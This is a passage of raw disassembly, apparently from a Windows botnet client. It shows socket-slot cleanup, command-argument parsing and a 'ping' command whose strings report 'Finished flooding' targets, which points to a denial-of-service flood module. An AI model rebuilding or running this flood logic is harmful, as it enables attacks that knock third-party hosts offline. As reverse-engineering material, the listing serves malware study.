		mov	dword_4491D7[eax*4], ecx
		mov	dword_4491DB[eax*4], ecx
		mov	byte_448FCB[eax*4], cl
		mov	byte_4491E3[eax*4], cl
		retn
sub_425640	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4256B0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_425767
		cmp	ecx, 400h
		jge	loc_425767
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_4491DF[esi*4]
		push	eax
		nop
		call	near ptr 2750238h
		cmp	dword_4491DF[esi*4], ebx
		jz	short loc_4256F8
		mov	ebp, 1


loc_4256F8:				; CODE XREF: sub_4256B0+41j
		mov	dword_4491DF[esi*4], ebx
		mov	dword_4491CB[esi*4], ebx
		mov	dword_4491CF[esi*4], ebx
		mov	eax, dword_4491D3[esi*4]
		cmp	eax, ebx
		jbe	short loc_425721
		push	eax
		call	sub_401C6C
		add	esp, 4


loc_425721:				; CODE XREF: sub_4256B0+66j
		mov	edi, dword_50FC88
		mov	dword_4491D3[esi*4], ebx
		mov	byte_448FCB[esi*4], bl
		mov	byte_4491E3[esi*4], bl
		mov	ecx, dword_4491D7[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_4491D7[esi*4], ebx
		mov	edx, dword_4491DB[esi*4]
		lea	esi, ds:4491DBh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425767:				; CODE XREF: sub_4256B0+Cj
					; sub_4256B0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4256B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257A0	proc near		; CODE XREF: sub_401D93j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_4491CF


loc_4257B1:				; CODE XREF: sub_4257A0+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_4257E5
		test	ebx, ebx
		jle	short loc_4257D7
		cmp	[esi], ebx
		jz	short loc_4257C8
		cmp	edi, ebx
		jnz	short loc_4257E5


loc_4257C8:				; CODE XREF: sub_4257A0+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5
		jmp	short loc_4257E4
; ---------------------------------------------------------------------------


loc_4257D7:				; CODE XREF: sub_4257A0+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5


loc_4257E4:				; CODE XREF: sub_4257A0+35j
		inc	ebp


loc_4257E5:				; CODE XREF: sub_4257A0+1Aj
					; sub_4257A0+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D61CF
		jl	short loc_4257B1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4257A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425820	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2760000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_425855
		push	0
		push	esi
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jnz	short loc_425855
		push	esi
		xor	edi, edi
		call	near ptr 2810703h
		nop


loc_425855:				; CODE XREF: sub_425820+1Dj
					; sub_425820+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_425820	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425870	proc near		; CODE XREF: sub_401483j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_4491CB


loc_42587B:				; CODE XREF: sub_425870+1Cj
		cmp	[ecx], edx
		jnz	short loc_425880
		inc	eax


loc_425880:				; CODE XREF: sub_425870+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D61CB
		jl	short loc_42587B
		retn
sub_425870	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258A0	proc near		; CODE XREF: sub_401D8Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_4491CB


loc_4258AE:				; CODE XREF: sub_4258A0+1Fj
		cmp	[ecx], edx
		jz	short loc_4258C3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D61CB
		jl	short loc_4258AE
		mov	eax, esi


loc_4258C3:				; CODE XREF: sub_4258A0+10j
		pop	esi
		retn
sub_4258A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258E0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_448FCB


loc_4258E8:				; CODE XREF: sub_4258E0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_4258FE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D5FCB
		jl	short loc_4258E8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4258FE:				; CODE XREF: sub_4258E0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:448FCBh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	near ptr 77C47A90h
		nop
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_4258E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_425980	proc near		; CODE XREF: sub_401609j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_425980
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_425980	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425BD0:				; CODE XREF: ___:loc_401B6Dj
		push	0FFFFFFFFh
		push	offset loc_43B6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_425D68
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_425C3B
		mov	ecx, eax
		call	sub_401DD9
		mov	ebp, eax


loc_425C3B:				; CODE XREF: ___:00425C30j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FBE
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425D68:				; CODE XREF: ___:00425C11j
		lea	ecx, [ebx+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_425EDA
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_425DAB
		mov	ecx, eax
		call	sub_401BC7
		mov	ebp, eax
		jmp	short loc_425DAD
; ---------------------------------------------------------------------------


loc_425DAB:				; CODE XREF: ___:00425D9Ej
		xor	ebp, ebp


loc_425DAD:				; CODE XREF: ___:00425DA9j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425EDA:				; CODE XREF: ___:00425D7Dj
		lea	ecx, [ebx+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_426049
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_425F1A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_425F1C
; ---------------------------------------------------------------------------


loc_425F1A:				; CODE XREF: ___:00425F0Dj
		xor	ebp, ebp


loc_425F1C:				; CODE XREF: ___:00425F18j
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_426049:				; CODE XREF: ___:00425EECj
		lea	ecx, [ebx+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4261F4
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_426089
		mov	ecx, eax
		call	sub_401785
		mov	ebp, eax
		jmp	short loc_42608B
; ---------------------------------------------------------------------------


loc_426089:				; CODE XREF: ___:0042607Cj
		xor	ebp, ebp


loc_42608B:				; CODE XREF: ___:00426087j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_4261F4:				; CODE XREF: ___:0042605Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_426211
		mov	[ebx+11Ch], al


loc_426211:				; CODE XREF: ___:00426209j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4263D0	proc near		; CODE XREF: sub_401A64j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A44
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4263F1
		inc	ecx
		mov	[eax+118h], ecx


loc_4263F1:				; CODE XREF: sub_4263D0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_4263D0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426450	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0DC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426450	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4264C0	proc near		; CODE XREF: sub_401F7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4264C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4264C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_4014C4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426560
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426620:				; CODE XREF: ___:loc_4016D1j
					; ___:0040217Bj
		push	esi
		mov	esi, ecx
		call	sub_4014C4
		test	byte ptr [esp+8], 1
		jz	short loc_426638
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426638:				; CODE XREF: ___:0042662Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426650	proc near		; CODE XREF: sub_4011FEj ___:00402081j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402090
		test	[esp+4+arg_0], 1
		jz	short loc_426668
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426668:				; CODE XREF: sub_426650+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426650	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426680	proc near		; CODE XREF: sub_402090j
		jmp	sub_4014C4
sub_426680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266A0	proc near		; CODE XREF: sub_401A41j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4266A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_40182F
		add	esp, 10h
		test	eax, eax
		jz	short loc_426764
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_42677E
; ---------------------------------------------------------------------------


loc_426764:				; CODE XREF: sub_4266A0+9Aj
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_42677E:				; CODE XREF: sub_4266A0+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
